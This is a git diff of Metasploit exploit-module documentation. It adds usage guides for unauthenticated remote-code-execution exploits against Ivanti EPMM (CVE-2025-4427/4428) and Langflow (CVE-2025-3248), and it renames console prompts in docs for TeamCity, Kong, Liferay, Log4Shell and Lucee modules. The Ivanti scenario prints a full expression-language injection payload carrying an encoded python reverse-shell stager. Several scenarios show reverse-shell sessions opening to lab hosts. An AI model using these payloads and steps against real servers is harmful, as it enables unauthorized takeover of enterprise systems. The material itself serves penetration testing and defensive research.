x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md b/documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md new file mode 100644 index 0000000000000..091e7ee6ac94c --- /dev/null +++ b/documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md @@ -0,0 +1,78 @@ +## Vulnerable Application +This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM, +tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated +access to an administrator web API endpoint, which allows for code execution via expression +language injection. This module executes in the context of the 'tomcat' user. This module +should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM). + +## Testing +To set up a test environment: +1. Set up an Ivanti EPMM or MobileIron Core VM appliance. +2. Configure basic networking and confirm that the web service on port 443 is reachable. +3. Follow the verification steps below. + +## Options +No custom options exist for this module. + +## Verification Steps +1. Start msfconsole +2. `use exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428` +3. `set RHOSTS ` +4. `set RPORT ` +5. `run` + +## Scenarios +### Ivanti EPMM (MobileIron Core) Linux Target +``` +msf exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > show options + +Module options (exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, so + cks4, socks5, socks5h, http + RHOSTS 10.5.132.244 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met + asploit.html + RPORT 443 yes The target port (TCP) + SSL true yes Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to Ivanti EPMM + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/ivanti_epmm_rce_cve_2025_4427_4428) > run +[*] Started reverse TCP handler on 10.5.135.201:4444 +[!] AutoCheck is disabled, proceeding with exploitation +[*] Attempting to execute payload +[*] Sending template payload: ${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('python3 -c exec(__import__("base64").b64decode("ZXhlYyhfX2ltcG9ydF9fKCd6bGliJykuZGVjb21wcmVzcyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnZU5vOVVFMUx4REFRUFRlL0lyY2tHRU83dG50WXJDRGlRVVFFMTV1SXRNbW9vV2tTa3F4V3hmOXVReGJuTU1PYmVmUG1ROC9laFlTamt4TWsvbTMweU1jaHdyYmxNWVdEVER6cEdkQ3JDM2pCMnVJdzJEZWdUYzEycUVyaGEvVlY3RXV6S0lGdStCSHY3Njl1WC9hUEQ5ZVhkeXp6aEhUV2dreVVrcVlXbldqT09yR3BHOExiMVZpbWpBR0dDVld3U1BBcGErZmhJaG9BVHp1R1RGOTJFZ2ZyQnpsUmNuRkRlQlFCNUFkZEJaN3FaNlQ2SXpZTWZiNXJBOWlBcFlxZG0xVk9uZnhYVDB1YUlWaEEwbnkyVUNEZDdBUEVTTXNIeExodGMxSkJadklmRXNrdS9qTDBCOGd3WHZBPScpWzBdKSkp"))').getInputStream()).useDelimiter('%5C%5CA').next()} +[*] Sending stage (24768 bytes) to 10.5.132.244 +[*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.244:50322) at 2025-06-03 13:38:16 -0500 +meterpreter > sysinfo +Computer : ivanti.example.local +OS : Linux 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > getuid +Server username: tomcat +meterpreter > exit + +``` diff --git a/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md b/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md index 7bfe0336496bb..3f02d636a3adf 100644 --- a/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md +++ b/documentation/modules/exploit/multi/http/jenkins_metaprogramming.md @@ -57,7 +57,7 @@ Set this to `true` to override the `check` result during exploitation. ## Usage ``` -msf5 exploit(multi/http/jenkins_metaprogramming) > run +msf exploit(multi/http/jenkins_metaprogramming) > run [*] Started HTTPS reverse handler on https://192.168.1.2:8443 [*] Jenkins 2.137 detected diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793.md index e7a32d322f446..d53389f22951c 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793.md @@ -35,7 +35,7 @@ Steps: ### Windows ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793): @@ -76,13 +76,13 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set RHOST 192.168.86.50 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set RHOST 192.168.86.50 RHOST => 192.168.86.50 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set RPORT 8111 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > set RPORT 8111 RPORT => 8111 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > check [+] 192.168.86.50:8111 - The target is vulnerable. JetBrains TeamCity 2023.05.3 (build 129390) detected. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -111,7 +111,7 @@ meterpreter > ### Linux ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2023_42793): @@ -151,7 +151,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2023_42793) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index 71569ceedb02c..970a750c89678 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -48,13 +48,13 @@ administrator account, the ID will be 1 by default. ### Java ``` -msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198 +msf > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68 RHOST => 192.168.86.68 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets Exploit targets: ================= @@ -68,13 +68,13 @@ Exploit targets: 4 Unix Command -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0 target => 0 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): @@ -107,7 +107,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -136,11 +136,11 @@ meterpreter > ### Java Server Page ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1 target => 1 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): @@ -175,9 +175,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -214,13 +214,13 @@ Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`. Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2 target => 2 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/ +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/ Display all 623 possibilities? (y or n) -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): @@ -261,9 +261,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -301,17 +301,17 @@ Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`. Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43 RHOSTS => 192.168.86.43 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3 target => 3 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp FETCH_WRITABLE_DIR => /tmp -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): @@ -351,7 +351,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -386,11 +386,11 @@ Solaris, FreeBSD and so on. Note: Ensure the target is a Unix-like target by confirming via the `check` command. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4 +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4 target => 4 -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): @@ -424,9 +424,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. -msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit +msf exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md b/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md index 2792d3937897b..cf99bf6409f4e 100644 --- a/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md +++ b/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md @@ -75,18 +75,18 @@ In this scenario, the admin API is not bound to localhost and is therefore avail ``` $ msfconsole -q [*] Starting persistent handler(s)... -msf5 > use exploit/multi/http/kong_gateway_admin_api_rce +msf > use exploit/multi/http/kong_gateway_admin_api_rce [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131 +msf exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131 lhost => 192.168.194.131 -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130 +msf exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130 rhosts => 192.168.194.130 -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z +msf exploit(multi/http/kong_gateway_admin_api_rce) > run -z [*] Started reverse TCP handler on 192.168.194.131:4444 [*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:41939) at 2020-10-13 16:24:13 +0100 [*] Session 1 created in the background. -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions +msf exploit(multi/http/kong_gateway_admin_api_rce) > sessions Active sessions =============== @@ -102,18 +102,18 @@ In this scenario, the admin API is bound to localhost and has been forwarded usi ``` $ msfconsole -q -msf5 > use exploit/multi/http/kong_gateway_admin_api_rce +msf > use exploit/multi/http/kong_gateway_admin_api_rce [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhost 127.0.0.1 +msf exploit(multi/http/kong_gateway_admin_api_rce) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set public-api-rhost 192.168.194.130 +msf exploit(multi/http/kong_gateway_admin_api_rce) > set public-api-rhost 192.168.194.130 public-api-rhost => 192.168.194.130 -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z +msf exploit(multi/http/kong_gateway_admin_api_rce) > run -z [*] Started reverse TCP handler on 192.168.194.131:4444 [*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:44705) at 2020-10-27 20:57:02 +0000 [*] Session 1 created in the background. -msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions +msf exploit(multi/http/kong_gateway_admin_api_rce) > sessions Active sessions =============== diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248.md new file mode 100644 index 0000000000000..e412ca029f710 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248.md @@ -0,0 +1,87 @@ +## Vulnerable Application + +Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. +A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. + +The vulnerability affects: + + * Langflow < 1.3.0 even if authentication is enabled + * Langflow <= 1.3.2 (latest at the time of this writing) if authentication isn't enabled. + +This module was successfully tested on: + + * Langflow 1.3.2 installed with Docker (authentication isn't enabled) + + +### Installation +1. `git clone https://github.com/langflow-ai/langflow.git` + +2. `cd langflow/docker_example` + +3. `docker compose up` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2025_3248` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf > use exploit/multi/http/langflow_unauth_rce_cve_2025_3248 +[*] Using configured payload python/meterpreter/reverse_tcp +msf exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > options + +Module options (exploit/multi/http/langflow_unauth_rce_cve_2025_3248): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7860 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (python/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Python payload + + + +View the full module info with the info, or info -d command. + +msf exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > run lhost=192.168.56.1 rhost=192.168.56.16 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.3.2 detected and authentication is disabled. Which is vulnerable. +[*] Sending stage (24772 bytes) to 192.168.56.16 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:57118) at 2025-04-12 10:00:32 +0900 + +meterpreter > getuid +Server username: user +meterpreter > sysinfo +Computer : 06d3984f101d +OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025 +Architecture : x64 +System Language : C +Meterpreter : python/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md b/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md index bb50cb576027e..b85b9b0d2313a 100644 --- a/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md +++ b/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md @@ -44,8 +44,8 @@ with the remote classloading server. ### Liferay Portal 7.2.0 GA1 from [Docker Hub](https://hub.docker.com/r/liferay/portal) ``` -msf5 > use exploit/multi/http/liferay_java_unmarshalling -msf5 exploit(multi/http/liferay_java_unmarshalling) > options +msf > use exploit/multi/http/liferay_java_unmarshalling +msf exploit(multi/http/liferay_java_unmarshalling) > options Module options (exploit/multi/http/liferay_java_unmarshalling): @@ -77,13 +77,13 @@ Exploit target: 0 Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2 -msf5 exploit(multi/http/liferay_java_unmarshalling) > set rhosts 127.0.0.1 +msf exploit(multi/http/liferay_java_unmarshalling) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(multi/http/liferay_java_unmarshalling) > set lhost 192.168.1.3 +msf exploit(multi/http/liferay_java_unmarshalling) > set lhost 192.168.1.3 lhost => 192.168.1.3 -msf5 exploit(multi/http/liferay_java_unmarshalling) > set srvport 8888 +msf exploit(multi/http/liferay_java_unmarshalling) > set srvport 8888 srvport => 8888 -msf5 exploit(multi/http/liferay_java_unmarshalling) > run +msf exploit(multi/http/liferay_java_unmarshalling) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/log4shell_header_injection.md b/documentation/modules/exploit/multi/http/log4shell_header_injection.md index 78e33a425c7fc..753f524e6cce3 100644 --- a/documentation/modules/exploit/multi/http/log4shell_header_injection.md +++ b/documentation/modules/exploit/multi/http/log4shell_header_injection.md @@ -76,25 +76,25 @@ For setup, see the "Apache Struts2 Verification" section above. The `If-Modified by the scanner. ``` -msf6 > use exploit/multi/http/log4shell_header_injection +msf > use exploit/multi/http/log4shell_header_injection [*] Using configured payload java/shell_reverse_tcp -msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080 +msf exploit(multi/http/log4shell_header_injection) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 +msf exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 SRVHOST => 192.168.250.134 -msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI /struts2-showcase/struts/utils.js +msf exploit(multi/http/log4shell_header_injection) > set TARGETURI /struts2-showcase/struts/utils.js TARGETURI => /struts2-showcase/struts/utils.js -msf6 exploit(multi/http/log4shell_header_injection) > set JAVA_GADGET_CHAIN CommonsBeanutils1 +msf exploit(multi/http/log4shell_header_injection) > set JAVA_GADGET_CHAIN CommonsBeanutils1 JAVA_GADGET_CHAIN => CommonsBeanutils1 -msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Linux +msf exploit(multi/http/log4shell_header_injection) > set TARGET Linux TARGET => Linux -msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD cmd/unix/reverse_bash +msf exploit(multi/http/log4shell_header_injection) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash -msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 +msf exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 -msf6 exploit(multi/http/log4shell_header_injection) > check +msf exploit(multi/http/log4shell_header_injection) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via /struts2-showcase/struts/utils.js (header: If-Modified-Since) (java: BellSoft_11.0.13) @@ -102,7 +102,7 @@ msf6 exploit(multi/http/log4shell_header_injection) > check [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.128:8080 - The target is vulnerable. -msf6 exploit(multi/http/log4shell_header_injection) > exploit +msf exploit(multi/http/log4shell_header_injection) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -127,32 +127,32 @@ For setup, see the "Spring2 Verification" section above. The `X-Api-Version` hea scanner. ``` -msf6 > use exploit/multi/http/log4shell_header_injection +msf > use exploit/multi/http/log4shell_header_injection [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080 +msf exploit(multi/http/log4shell_header_injection) > set RPORT 8080 RPORT => 8080 -msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 +msf exploit(multi/http/log4shell_header_injection) > set SRVHOST 192.168.250.134 SRVHOST => 192.168.250.134 -msf6 exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 80 +msf exploit(multi/http/log4shell_header_injection) > set HTTP_SRVPORT 80 HTTP_SRVPORT => 80 -msf6 exploit(multi/http/log4shell_header_injection) > set TARGETURI / +msf exploit(multi/http/log4shell_header_injection) > set TARGETURI / TARGETURI => / -msf6 exploit(multi/http/log4shell_header_injection) > set TARGET Automatic +msf exploit(multi/http/log4shell_header_injection) > set TARGET Automatic TARGET => Automatic -msf6 exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_tcp +msf exploit(multi/http/log4shell_header_injection) > set PAYLOAD java/meterpreter/reverse_tcp PAYLOAD => java/meterpreter/reverse_tcp -msf6 exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 +msf exploit(multi/http/log4shell_header_injection) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 -msf6 exploit(multi/http/log4shell_header_injection) > check +msf exploit(multi/http/log4shell_header_injection) > check [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.159.128:8080 - Log4Shell found via / (header: X-Api-Version) (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [+] 192.168.159.128:8080 - The target is vulnerable. -msf6 exploit(multi/http/log4shell_header_injection) > exploit +msf exploit(multi/http/log4shell_header_injection) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/lucee_scheduled_job.md b/documentation/modules/exploit/multi/http/lucee_scheduled_job.md index 106c2f9fc3ec1..cd2981a343939 100644 --- a/documentation/modules/exploit/multi/http/lucee_scheduled_job.md +++ b/documentation/modules/exploit/multi/http/lucee_scheduled_job.md @@ -72,17 +72,17 @@ parameter determines how long the exploit should wait until considering the payl ## Scenarios ### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 for a service account shell ``` -msf6 > use exploit/multi/http/lucee_scheduled_job +msf > use exploit/multi/http/lucee_scheduled_job [*] Using configured payload cmd/windows/generic -msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/windows/powershell_reverse_tcp +msf exploit(multi/http/lucee_scheduled_job) > set payload cmd/windows/powershell_reverse_tcp payload => cmd/windows/powershell_reverse_tcp -msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164 +msf exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164 RHOSTS => 10.0.0.164 -msf6 exploit(multi/http/lucee_scheduled_job) > set LHOST 10.0.0.45 +msf exploit(multi/http/lucee_scheduled_job) > set LHOST 10.0.0.45 LHOST => 10.0.0.45 -msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 +msf exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123 PASSWORD => admin123 -msf6 exploit(multi/http/lucee_scheduled_job) > run +msf exploit(multi/http/lucee_scheduled_job) > run [*] Started reverse TCP handler on 192.168.19.145:4444 [+] Authenticated successfully @@ -112,15 +112,15 @@ PS C:\lucee\tomcat> ``` ### Successful 